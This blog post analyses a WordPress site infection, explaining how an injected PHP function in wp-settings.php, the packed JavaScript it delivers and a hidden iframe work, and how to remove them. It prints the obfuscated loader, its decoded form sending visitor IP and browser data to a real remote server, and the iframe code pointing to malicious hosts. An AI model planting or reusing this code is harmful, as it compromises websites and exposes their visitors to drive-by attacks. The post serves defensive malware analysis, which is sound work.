Complex WordPress Header Javascript and IFrame Injection Problem, Solution and Analysis
While working on a development site, that sat idle before any actual work was done for a while, we noticed that some kind of iframe injection had occured. There was no trace of it in the database or the server code, nothing that said iFrame, nothing that added extra scripts. This was a brand new website, template from scratch with no plugins and no content…I Was pulling my hair out, but slowly started getting on to the situation, and with the help of Mike Brich from HavenLight Software, got right down to it after hours of investigation and head scratching.
This post will be very code intensive, but with full explanations, just a warning, I am jumping right into it!!
Overview
Bottom line this is how it works:
- Something Injects Code into wp-settings.php
- function counter_wordpress is decoded and sends a CURL request to a third party server with your computer info.
- CURL sends a string from third party server and injects javascript
- javascript communicates with yet another server and injects an iframe
- iFrame injects all sorts of other scripts, popups, java programs, and other iFrames from other servers.
- CURL’d server logs your IP and computer information, and the next time you visit hides itself, or prevents itself from showing its payload, for a while.
- Repeat.
The Problem
The iFrame injection did not appear on my browsers, or any other browser in my office. It seemed to appear only on browsers coming from a IP that hadn’t encountered it before, or at least hadn’t for a while. On success or failure of delivering its payload, it hid! Not only from machines, but from Bots too, Googlebot and Googles malware scans saw nothing coming from this site, it was bizarre.
I scanned the source code of the entire wordpress install for any traces of traditional injections or Iframes, but there were none. There was nothing in the database either. I disabled and removed all plugins, and it was still there.
The behavior of the code was strange also, it would load the script, show a Java wants to run warning, then on refresh start loading data from various sources as the iFrame was inserted, I found out later that the script had a 5 second delay when loading the iFrame, which didn’t allow me to catch it as I was refreshing, and also, I am sure, helps avoiding automated scans, including Google’s Malware scans. After loading once it would disappear, never to return.
I couldn’t see it, however something interesting started to happen. Refreshing the page over and over in the source code, shows an error that appeared on the site and showed up in the source code where the original Injection occured, right before the end of </head>
<html> <head> <title>The page is temporarily unavailable</title> <style> body { font-family: Tahoma, Verdana, Arial, sans-serif; } </style> </head> <body bgcolor="white" text="black"> <table width="100%" height="100%"> <tr> <td align="center" valign="middle"> The page you are looking for is temporarily unavailable.<br/> Please try again later. </td> </tr> </table> </body> </html>
This made it seem as if another website was loading inside mine, since the opening and closing html tags were a dead giveaway. I started to search for this issue and pretty quickly found out that this was an error message from a web server running nginx, an open-source, high-performance HTTP server and reverse proxy, as well as an IMAP/POP3 proxy server meant for servers with limited system resources. The server was errorign out, perhaps too many sites are connected at once and its DoSing itself. So, confirmed, my website is loading another website in its header.
This is the code that was being used, please be careful and do not click on any links in this document that are in code blocks.
<script type='text/javascript'>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('d 9(){5=2.e(\'7\');f(!5){8 0=2.c(\'3\');2.g.h(0);0.6=\'7\';0.1.a=\'4\';0.1.b=\'4\';0.1.n=\'i\';0.r=\'s://q.o.j/3.k?6=l\'}}8 t=m("9()",p);',30,30,'el|style|document|iframe|1px|element|id|yahoo_api|var|MakeFrameEx|width|height|createElement|function|getElementById|if|body|appendChild|none|pl|php|2b8325qvzjut0iv8b87u9nlxnan0kpc|setTimeout|display|345|500|sokistatehouse|src|http|'.split('|'),0,{})) </script>
<IFRAME style="display:none" SRC="http://finderonlinesearch.com/tds/in.cgi?5&user=mexx" WIDTH=1 HEIGHT=1 FRAMEBORDER=0></IFRAME><meta name="Cart66Version" content="Professional 1.2.2" /> </head>
It is messy code, difficult to understand with the naked eye, why? Because, as Mike found out, its packed.
Here is what it looks like unpacked.
function MakeFrameEx() { element = document.getElementById('yahoo_api'); if (!element) { var el = document.createElement('iframe'); document.body.appendChild(el); el.id = 'yahoo_api'; el.style.width = '1px'; el.style.height = '1px'; el.style.display = 'none'; el.src = 'http://hardpancakes.xe.cx/showthread.php?t=72291731' } } var ua = navigator.userAgent.toLowerCase(); if (((ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua.indexOf("webtv") == -1)) && ua.indexOf("windows") != -1) { var t = setTimeout("MakeFrameEx()", 500) }
Interesting URL! Where does it go? Interestingly enough to a 404 page on a nginx server, as suspected.
So where is the iFrame, and where the hell is this packed javascript function getting loaded into the header?
Now I go back to my searches, I can’t find any mention of the iFrame URL the new unencoded URL, or even “MakeFrameEx” anywhere in the source code. so
I decided to search again for anything with the words wp_head, which can be done like this:
# grep -Rin 'wp_head' yourdirectory
I look again at the function “counter_wordpress” that I had overlooked as a valid system file, that just looked overly complex (I thought it was part of wordpress.com’s tracker).
It wasn’t.
This is the function that was sitting right above do_action(‘init’) in wp-settings.php:
function counter_wordpress() {$_F=__FILE__;$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip = $_SERVER['REMOTE_ADDR'];$host = $_SERVER['HTTP_HOST'];$uri = urlencode($_SERVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref;$ch = curl_init($url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_TIMEOUT, 2);$re = curl_exec($ch);curl_close($ch);echo $re;}add_action('wp_head', 'counter_wordpress');
There it is, a ridiculously over encoded piece of code that gets injected into wp_head.
I am going to move onto the solution now, and then go back to analyze this bit of code, and pose some questions because I still can’t answer precisely on how it got in there in the first place.
The Solution
Firstly, go to your main wordpress directory and type:
# ls -al
Take note of any files that have changed recently versus others, most of your wordpress config files should have the same modified date, except maybe wp-config.php
wp-settings.php is the file I found infected, but you may find it elsewhere.
Remove the function counter_wordpress() including the it’s wordpress hook add_action(‘wp_head’, ‘counter_wordpress’);
If you do not have this function in your wp-settings, it may show up somewhere else but you can be sure that it will be followed by an add_action(‘wp_head’, ‘function_name’); that is not supposed to be there. Find it and remove it immediatly.
If you cannot find the code in the wp-settings.php file I suggest running the following command:
# grep -Rin 'wp_head' yourdirectory
Where yourdirectory is the directory in question, this will give you a list of files, line numbers, and code where wp_head exists in your install, which is a requirement for the code to install itself…(imagine if they had encrypted THAT and evaled it, would be impossible to find.)
After removing this function you should find that your error message, Injected Javascript and Injected iFrames all stop loading.
After you remove the function check your permissions in your wordpress root directory and all other directories, make sure they are set to 755 or even more stringent, mine was not and I suspect that there is some other WordPress vulnerability that took advantage of that, of which I cannot identify.
The Analysis
Lets dig deeper, how does this thing work? It is encrypted after all…
Here is the PHP function, a bit more legible:
function counter_wordpress() { $_F=__FILE__; $_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+'; eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')); $ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT'])); $ip = $_SERVER['REMOTE_ADDR']; $host = $_SERVER['HTTP_HOST']; $uri = urlencode($_SERVER['REQUEST_URI']); $ref = urlencode($_SERVER['HTTP_REFERER']); $url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 2); $re = curl_exec($ch); curl_close($ch); echo $re; } add_action('wp_head', 'counter_wordpress');
As we can see, this is a average CURL operation, but to where is it sending? We have all the params but the URL, which is concatenated from…somewhere…
Actually it has alot to do with that variable $_X which is encoded about 3 or 4 times, as you will see:
Evaluation Process
This is the process of evaluation:
- $_X = an Encoded String
- Another String is Decoded which accepts $_X
- Inside that code is another Encoded form of $_X
- Inside that same Code, the new decoded form of $_X is run through strtr function, which replaced letters and numbers with other letters and numbers.
- Inside taht same code $_R is set and ereg _replace ran through $_R with $_X
- Inside that same code, $_R is evaluated
- Inside that same code $_R and $_X are set to null so you cant echo them outside of the encoding.
- Then the entire thing is evaluated, giving you $url
Evaluation Breakdown
- $_F=__FILE__;
- Encryption Layer 1: $_X=’Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+’;
- eval(base64_decode(‘JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==’));
- Encryption Layer 2: $_X=base64_decode($_X);$_X=strtr($_X,’123456aouie’,’aouie123456′);$_R=ereg_replace(‘__FILE__’,”‘”.$_F.”‘”,$_X);eval($_R);$_R=0;$_X=0;
- Encryption Layer 3: $_X=base64_decode($_X);
- Result: ?><?php $3rl = ‘http://96.69e.a6e.o0/bt.php’; ?>
- Encryption Layer 4: $_X=strtr($_X,’123456aouie’,’aouie123456′);
- Result: ?><?php $url = ‘http://91.196.216.30/bt.php’; ?>
- Encryption Layer 5: $_R=ereg_replace(‘__FILE__’,”‘”.$_F.”‘”,$_X);
- Result: ?><?php $url = ‘http://91.196.216.30/bt.php’; ?>
- Evaluate Command: eval($_R);
- Result: ?><?php $url = ‘http://91.196.216.30/bt.php’; ?>
- $_R=0;$_X=0;
- Set these to 0 so you can’t echo them without recreating the encryption process step by step.
- Final Result of Encryption: $url = ‘http://91.196.216.30/bt.php’;
$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT'])); $ip = $_SERVER['REMOTE_ADDR']; $host = $_SERVER['HTTP_HOST']; $uri = urlencode($_SERVER['REQUEST_URI']); $ref = urlencode($_SERVER['HTTP_REFERER']); $url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 2); $re = curl_exec($ch); curl_close($ch); echo $re; }
Complex! This is an enourmous amount of work to encrypt and throw off an investigator trying to figure out what happened to their site. It is an amazing level of complexity, kudos to the designer! This will make sure that you cannot search for ANY of the words, URL’s or text in your wordpress files or databases, there is no algorithm to do a search for something of this complexity, it was hard enough to break it down! All of this encoding to hide the URL: http://91.196.216.30/bt.php.
The end result is that the script sends this data to the server, with all parameters, and echos whatever the server decides to spit back, in my case, it was the compressed javascript code, shown here uncompressed again for convenience:
function MakeFrameEx() { element = document.getElementById('yahoo_api'); if (!element) { var el = document.createElement('iframe'); document.body.appendChild(el); el.id = 'yahoo_api'; el.style.width = '1px'; el.style.height = '1px'; el.style.display = 'none'; el.src = 'http://hardpancakes.xe.cx/showthread.php?t=72291731' } } var ua = navigator.userAgent.toLowerCase(); if (((ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua.indexOf("webtv") == -1)) && ua.indexOf("windows") != -1) { var t = setTimeout("MakeFrameEx()", 500) }
This code does a strange check to see if the user agent is internet explorer, opera, webtv or windows and if it is, or isnt, sets a timeout to make a iFrame with the previous code. This delay is perfect for stopping detection from bots, crawlers, and some passers by. It causes confusion when troubleshooting it as well.
The interesting thing about this malicious code is that it uses well known names, such as yahoo_api to create a new element. This bit of code contacts a website known as hardpankaces.xe.cx, which then delivers its payload by opening up an iFrame to http://finderonlinesearch.com/tds/in.cgi?5&user=mexx. Note that the website in the iFrame was different earlier while troubleshooting, than it was shown, but the user always =mexx, whcih I found odd. I found the javascript snippet on Pastebin of all places, posted by a guest with no comments.
I was interested, where the hell are these domains going, and where is the IP Address located for the originating server that initializes the script? Frankfurt, Germany And Moscow, Russia.
Here are the tracert logs and whois records, you can form opinions yourselves:
Tracert – Script Originating IP:
Tracing route to 91.196.216.30 over a maximum of 30 hops 4 * * 23 ms 99.167.141.18 5 21 ms 20 ms 20 ms 12.83.70.9 6 22 ms 22 ms 22 ms fldfl01jt.ip.att.net [12.122.81.25] 7 30 ms 23 ms 23 ms 192.205.36.254 8 45 ms 36 ms 36 ms ae-32-52.ebr2.Miami1.Level3.net [4.69.138.126] 9 53 ms 47 ms 53 ms ae-2-2.ebr2.Atlanta2.Level3.net [4.69.140.142] 10 47 ms 47 ms 53 ms ae-73-73.ebr3.Atlanta2.Level3.net [4.69.148.253] 11 65 ms 69 ms 69 ms ae-2-2.ebr1.Washington1.Level3.net [4.69.132.86] 12 74 ms 74 ms 74 ms ae-91-91.csw4.Washington1.Level3.net [4.69.134.1 42] 13 64 ms 70 ms 64 ms ae-92-92.ebr2.Washington1.Level3.net [4.69.134.1 57] 14 149 ms 143 ms 150 ms ae-43-43.ebr2.Paris1.Level3.net [4.69.137.57] 15 148 ms 154 ms 154 ms ae-46-46.ebr1.Frankfurt1.Level3.net [4.69.143.13 7] 16 148 ms 154 ms 148 ms ae-61-61.csw1.Frankfurt1.Level3.net [4.69.140.2] 17 148 ms 154 ms 147 ms ae-1-60.edge3.Frankfurt1.Level3.net [4.69.154.7] 18 155 ms 155 ms 158 ms IPTRIPLEPLA.edge3.Frankfurt1.Level3.net [212.162 .40.194] 19 358 ms 197 ms 192 ms te7-2-pontiac.stk.citytelecom.ru [217.65.1.229] 20 186 ms 180 ms 186 ms te4-4-adelaida.spb.citytelecom.ru [217.65.1.201] 21 187 ms 178 ms 185 ms 62.152.42.134 22 215 ms 214 ms 220 ms 91.196.216.30
Whois – Script Originating IP:
inetnum: 91.196.216.0 - 91.196.219.255 netname: SPETSENERGO-NET descr: SpetsEnergo Ltd. country: RU org: ORG-SL138-RIPE admin-c: KDS23-RIPE tech-c: KDS23-RIPE remarks: SPAM issues: [email protected] remarks: Network security issues: [email protected] remarks: General and other information: [email protected] status: ASSIGNED PI mnt-by: RIPE-NCC-END-MNT mnt-by: MNT-SPETSENERGO mnt-lower: RIPE-NCC-END-MNT mnt-routes: MNT-SPETSENERGO mnt-domains: MNT-SPETSENERGO source: RIPE #Filtered organisation: ORG-SL138-RIPE org-name: SpetsEnergo Ltd. tech-c: KDS23-RIPE admin-c: KDS23-RIPE remarks: SPAM issues: [email protected] remarks: Network security issues: [email protected] remarks: General and other information: [email protected] org-type: OTHER address: Russia, 127422, Moscow, Timiryazevskaya st, 11 mnt-ref: MNT-SPETSENERGO mnt-by: MNT-SPETSENERGO source: RIPE #Filtered person: Kruchkov Dmitry Sergeevich address: Russia, 127422, Moscow, Timiryazevskaya st, 11 abuse-mailbox: [email protected] phone: +7 916 959 2268 nic-hdl: KDS23-RIPE source: RIPE #Filtered route: 91.196.216.0/22 descr: SPETSENERGO origin: AS43239 mnt-by: MNT-SPETSENERGO source: RIPE #Filtered
Tracert: http://hardpancakes.xe.cx/showthread.php?t=7229173 (46.4.108.18)
5 21 ms 21 ms 20 ms 12.83.70.9 6 44 ms 23 ms 22 ms fldfl01jt.ip.att.net [12.122.81.25] 7 30 ms 29 ms 23 ms 192.205.36.254 8 36 ms 35 ms 35 ms ae-32-52.ebr2.Miami1.Level3.net [4.69.138.126] 9 43 ms 36 ms 42 ms ae-2-2.ebr2.Atlanta2.Level3.net [4.69.140.142] 10 42 ms 38 ms 43 ms ae-73-73.ebr3.Atlanta2.Level3.net [4.69.148.253] 11 54 ms 53 ms 60 ms ae-2-2.ebr1.Washington1.Level3.net [4.69.132.86] 12 53 ms 58 ms 59 ms ae-81-81.csw3.Washington1.Level3.net [4.69.134.1 38] 13 57 ms 59 ms 53 ms ae-82-82.ebr2.Washington1.Level3.net [4.69.134.1 53] 14 146 ms 134 ms 140 ms ae-44-44.ebr2.Paris1.Level3.net [4.69.137.61] 15 139 ms 138 ms 146 ms ae-48-48.ebr1.Frankfurt1.Level3.net [4.69.143.14 5] 16 139 ms 144 ms 144 ms ae-81-81.csw3.Frankfurt1.Level3.net [4.69.140.10 ] 17 139 ms 144 ms 138 ms ae-3-80.edge3.Frankfurt1.Level3.net [4.69.154.13 5] 18 139 ms 145 ms 180 ms HETZNER-ONL.edge3.Frankfurt1.Level3.net [212.162 .40.206] 19 157 ms 158 ms 149 ms hos-bb1.juniper1.fs.hetzner.de [213.239.240.242] 20 153 ms 144 ms 144 ms hos-tr1.ex3k10.rz14.hetzner.de [213.239.224.139] 21 150 ms 144 ms 150 ms static.18.108.4.46.clients.your-server.de [46.4. 108.18]
Trace complete.
Whois: http://hardpancakes.xe.cx/showthread.php?t=7229173 (46.4.108.18)
inetnum: 46.4.108.0 - 46.4.108.31 netname: HETZNER-RZ14 descr: Hetzner Online AG descr: Datacenter 14 country: DE admin-c: HOAC1-RIPE tech-c: HOAC1-RIPE status: ASSIGNED PA mnt-by: HOS-GUN mnt-lower: HOS-GUN mnt-routes: HOS-GUN source: RIPE #Filtered role: Hetzner Online AG - Contact Role address: Hetzner Online AG address: Stuttgarter Stra?e 1 address: D-91710 Gunzenhausen address: Germany phone: +49 9831 61 00 61 fax-no: +49 9831 61 00 62 abuse-mailbox: [email protected] remarks: ************************************************* remarks: * For spam/abuse/security issues please contact * remarks: * [email protected] , not this address * remarks: ************************************************* remarks: remarks: ************************************************* remarks: * Any questions on Peering please send to * remarks: * [email protected] * remarks: ************************************************* org: ORG-HOA1-RIPE admin-c: MH375-RIPE tech-c: GM834-RIPE tech-c: RB1502-RIPE tech-c: SK2374-RIPE tech-c: ND762-RIPE tech-c: TF2013-RIPE tech-c: MF1400-RIPE nic-hdl: HOAC1-RIPE mnt-by: HOS-GUN source: RIPE #Filtered route: 46.4.0.0/16 descr: HETZNER-RZ-FKS-BLK3 origin: AS24940 org: ORG-HOA1-RIPE mnt-by: HOS-GUN source: RIPE #Filtered Update Delete organisation: ORG-HOA1-RIPE org-name: Hetzner Online AG org-type: LIR address: Hetzner Online AG Attn. Martin Hetzner Stuttgarter Str. 1 91710 Gunzenhausen GERMANY phone: +49 9831 610061 fax-no: +49 9831 610062 admin-c: DM93-RIPE admin-c: GM834-RIPE admin-c: HOAC1-RIPE admin-c: MH375-RIPE admin-c: RB1502-RIPE admin-c: SK2374-RIPE admin-c: TF2013-RIPE admin-c: MF1400-RIPE mnt-ref: HOS-GUN mnt-ref: RIPE-NCC-HM-MNT mnt-by: RIPE-NCC-HM-MNT source: RIPE #Filtered
Tracert: http://finderonlinesearch.com/tds/in.cgi?5&user=mexx (78.159.112.180)
5 21 ms 21 ms 22 ms 12.83.70.9 6 22 ms 22 ms 21 ms fldfl01jt.ip.att.net [12.122.81.25] 7 29 ms 27 ms 29 ms 192.205.36.254 8 24 ms 23 ms 29 ms 4.69.138.91 9 64 ms 71 ms 70 ms ae-2-2.ebr1.Dallas1.Level3.net [4.69.140.133] 10 64 ms 70 ms 64 ms ae-91-91.csw4.Dallas1.Level3.net [4.69.151.161] 11 66 ms 71 ms 64 ms ae-93-93.ebr3.Dallas1.Level3.net [4.69.151.170] 12 71 ms 70 ms 64 ms ae-7-7.ebr3.Atlanta2.Level3.net [4.69.134.22] 13 87 ms 80 ms 86 ms ae-2-2.ebr1.Washington1.Level3.net [4.69.132.86] 14 83 ms 87 ms 80 ms ae-81-81.csw3.Washington1.Level3.net [4.69.134.1 38] 15 81 ms 87 ms 81 ms ae-82-82.ebr2.Washington1.Level3.net [4.69.134.1 53] 16 168 ms 167 ms 161 ms ae-41-41.ebr2.Paris1.Level3.net [4.69.137.49] 17 172 ms 166 ms 166 ms ae-48-48.ebr1.Frankfurt1.Level3.net [4.69.143.14 5] 18 172 ms 167 ms 172 ms ae-61-61.csw1.Frankfurt1.Level3.net [4.69.140.2] 19 167 ms 183 ms 167 ms ae-1-60.edge4.Frankfurt1.Level3.net [4.69.154.8] 20 295 ms 203 ms 199 ms 212.162.5.234 21 182 ms 177 ms 176 ms 89-149-218-34.internetserviceteam.com [89.149.21 8.34] 22 183 ms 180 ms 182 ms 89-149-218-178.gatewayrouter.net [89.149.218.178 ] 23 183 ms 175 ms 182 ms 78.159.112.180 Trace complete.
Whois: http://finderonlinesearch.com/tds/in.cgi?5&user=mexx (78.159.112.180)
inetnum: 78.159.112.0 - 78.159.115.255 netname: NETDIRECT-NET descr: Leaseweb Germany GmbH (previously netdirekt e. K.) remarks: INFRA-AW country: DE admin-c: WW200-RIPE tech-c: SR614-RIPE status: ASSIGNED PA mnt-by: NETDIRECT-MNT mnt-lower: NETDIRECT-MNT mnt-routes: NETDIRECT-MNT source: RIPE #Filtered person: Wiethold Wagner address: Leaseweb Germany GmbH (previously netdirekt e. K.) address: Kleyer Strasse 79 / Tor 14 address: 60326 Frankfurt address: DE phone: +49 69 90556880 fax-no: +49 69 905568822 abuse-mailbox: [email protected] nic-hdl: WW200-RIPE mnt-by: NETDIRECT-MNT source: RIPE #Filtered person: Simon Roehl address: Leaseweb Germany GmbH (previously netdirekt e. K.) address: Kleyer Strasse 79 /Tor 14 address: 60326 Frankfurt address: DE phone: +49 69 90556880 fax-no: +49 69 905568822 abuse-mailbox: [email protected] nic-hdl: SR614-RIPE mnt-by: NETDIRECT-MNT source: RIPE #Filtered route: 78.159.96.0/19 descr: ORG-nA8-RIPE origin: AS28753 org: ORG-nA8-RIPE mnt-lower: NETDIRECT-MNT mnt-routes: NETDIRECT-MNT mnt-by: NETDIRECT-MNT source: RIPE #Filtered organisation: ORG-nA8-RIPE org-name: netdirect org-type: LIR address: netdirekt e. K. Kleyer Strasse 79 / Tor 14 60326 Frankfurt Germany phone: +49 69 90556880 fax-no: +49 69 905568822 admin-c: SR614-RIPE admin-c: WW200-RIPE mnt-ref: NETDIRECT-MNT mnt-ref: RIPE-NCC-HM-MNT mnt-by: RIPE-NCC-HM-MNT source: RIPE #Filtered
Permissions
Permissions are important, and here is where it gets confusion, I am not sure If it was I that left the permissions on this specific account so open (757) or if someone else logged in and did it, or if there was some WordPress vulnerability that was able to do this, but the permissions on all the files were different than my safe and unaffected installs. I am assuming that there is some vulnerability in WordPress that allows a user to write to these directories if the permissions are set in such a way, but I have no evidence or lead as to what it was that did it. Notice in the examples below that the dirty folder structure has wp-settings.php modified sometime in September, but other wp- files modified around the same day of installation, this was not me, as I modifying it to fix it on the 13th.
Example Clean Folder Structure
rw-r--r-- 1 root root 561 Jun 2 13:53 .htaccess -rw-r--r-- 1 root root 397 Sep 15 15:16 index.php -rw-r--r-- 1 root root 16899 Sep 15 15:17 license.txt -rw-r--r-- 1 root root 9202 Sep 15 15:16 readme.html -rw-r--r-- 1 root root 4343 Sep 15 15:16 wp-activate.php drwxr-xrwx 9 root root 4096 Sep 15 15:17 wp-admin -rw-r--r-- 1 root root 40243 Sep 15 15:16 wp-app.php -rw-r--r-- 1 root root 226 Sep 15 15:16 wp-atom.php -rw-r--r-- 1 root root 274 Sep 15 15:16 wp-blog-header.php -rw-r--r-- 1 root root 3931 Sep 15 15:16 wp-comments-post.php -rw-r--r-- 1 root root 244 Sep 15 15:16 wp-commentsrss2.php -rwxr-xrwx 1 root root 3471 Sep 19 10:04 wp-config.php -rw-r--r-- 1 root root 3177 Sep 15 15:16 wp-config-sample.php drwxr-xrwx 8 root root 4096 Sep 19 10:04 wp-content -rw-r--r-- 1 root root 1255 Sep 15 15:16 wp-cron.php -rw-r--r-- 1 root root 246 Sep 15 15:16 wp-feed.php drwxr-xrwx 8 root root 4096 Sep 15 15:17 wp-includes -rw-r--r-- 1 root root 1997 Sep 15 15:16 wp-links-opml.php -rw-r--r-- 1 root root 2525 Sep 15 15:16 wp-load.php -rw-r--r-- 1 root root 27601 Sep 15 15:16 wp-login.php -rw-r--r-- 1 root root 7774 Sep 15 15:16 wp-mail.php -rw-r--r-- 1 root root 494 Sep 15 15:16 wp-pass.php -rw-r--r-- 1 root root 224 Sep 15 15:17 wp-rdf.php -rw-r--r-- 1 root root 334 Sep 15 15:17 wp-register.php -rw-r--r-- 1 root root 226 Sep 15 15:16 wp-rss2.php -rw-r--r-- 1 root root 224 Sep 15 15:16 wp-rss.php -rw-r--r-- 1 root root 9839 Sep 15 15:17 wp-settings.php -rw-r--r-- 1 root root 18646 Sep 15 15:17 wp-signup.php -rw-r--r-- 1 root root 3702 Sep 15 15:17 wp-trackback.php -rw-r--r-- 1 root root 3266 Sep 15 15:16 xmlrpc.php
Example Dirty Folder Structure
drwxr-xr-x 5 root root 4096 Sep 29 23:05 . drwxr-xr-x 3 root root 4096 Oct 10 17:42 .. -rwxr-xr-x 1 root root 200 Aug 25 17:29 .htaccess -rwxr-xrwx 1 root root 397 May 25 2008 index.php -rwxr-xrwx 1 root root 16899 Jun 8 13:18 license.txt -rwxr-xrwx 1 root root 9202 Jul 12 13:24 readme.html -rwxr-xrwx 1 root root 4343 May 6 22:26 wp-activate.php drwxr-xrwx 9 root root 4096 Jul 12 14:24 wp-admin -rwxr-xrwx 1 root root 40243 Jun 1 17:03 wp-app.php -rwxr-xrwx 1 root root 226 Dec 9 2010 wp-atom.php -rwxr-xrwx 1 root root 274 Nov 20 2010 wp-blog-header.php -rwxr-xrwx 1 root root 3931 Dec 9 2010 wp-comments-post.php -rwxr-xrwx 1 root root 244 Dec 9 2010 wp-commentsrss2.php -rwxr-xrwx 1 root root 3166 Aug 24 19:21 wp-config.php drwxr-xrwx 6 root root 4096 Oct 12 19:21 wp-content -rwxr-xrwx 1 root root 1255 Mar 16 2010 wp-cron.php -rwxr-xrwx 1 root root 246 Dec 9 2010 wp-feed.php drwxr-xrwx 8 root root 4096 Sep 30 01:35 wp-includes -rwxr-xrwx 1 root root 1997 Oct 23 2010 wp-links-opml.php -rwxr-xrwx 1 root root 2525 Jun 29 11:50 wp-load.php -rwxr-xrwx 1 root root 27601 Jun 22 14:45 wp-login.php -rwxr-xrwx 1 root root 7774 May 25 2010 wp-mail.php -rwxr-xrwx 1 root root 494 Dec 9 2010 wp-pass.php -rwxr-xrwx 1 root root 224 Dec 9 2010 wp-rdf.php -rwxr-xrwx 1 root root 334 Dec 9 2010 wp-register.php -rwxr-xrwx 1 root root 226 Dec 9 2010 wp-rss2.php -rwxr-xrwx 1 root root 224 Dec 9 2010 wp-rss.php -rwxr-xrwx 1 root root 10969 Sep 12 05:39 wp-settings.php -rwxr-xrwx 1 root root 18646 May 22 17:30 wp-signup.php -rwxr-xrwx 1 root root 3702 Feb 24 2010 wp-trackback.php -rwxr-xrwx 1 root root 3266 Apr 17 03:35 xmlrpc.php
The Questions
How did it get in? I have no idea. My permissions were set way too losely on this site, I believe they were set to 757 whereas all my others are 755 or less. This gives public access to write to the server. Still…what did they use to access and write to the server? There was only one username, my box has no other user accounts on it, and FTP is disabled, I only use SSH and SFTP. It is puzzling, any insights or suggestions are appreciated.
Who are these Russians / Germans that are hosting these sites? What are they trying to pull?
I would love to recreate the injection on my own on a clean box and browser to see what javascript and data it pulls from the other sites, I’d have to install something to sniff out the data coming between the injected iFrame and javascript and the site, but thats for another day when I actually have time!
My next step should probably be to e-mail these people, or give them a ring, see if they even know this is happening through their servers.
I hope this article has been helpful, I look forward to further analysis in comments!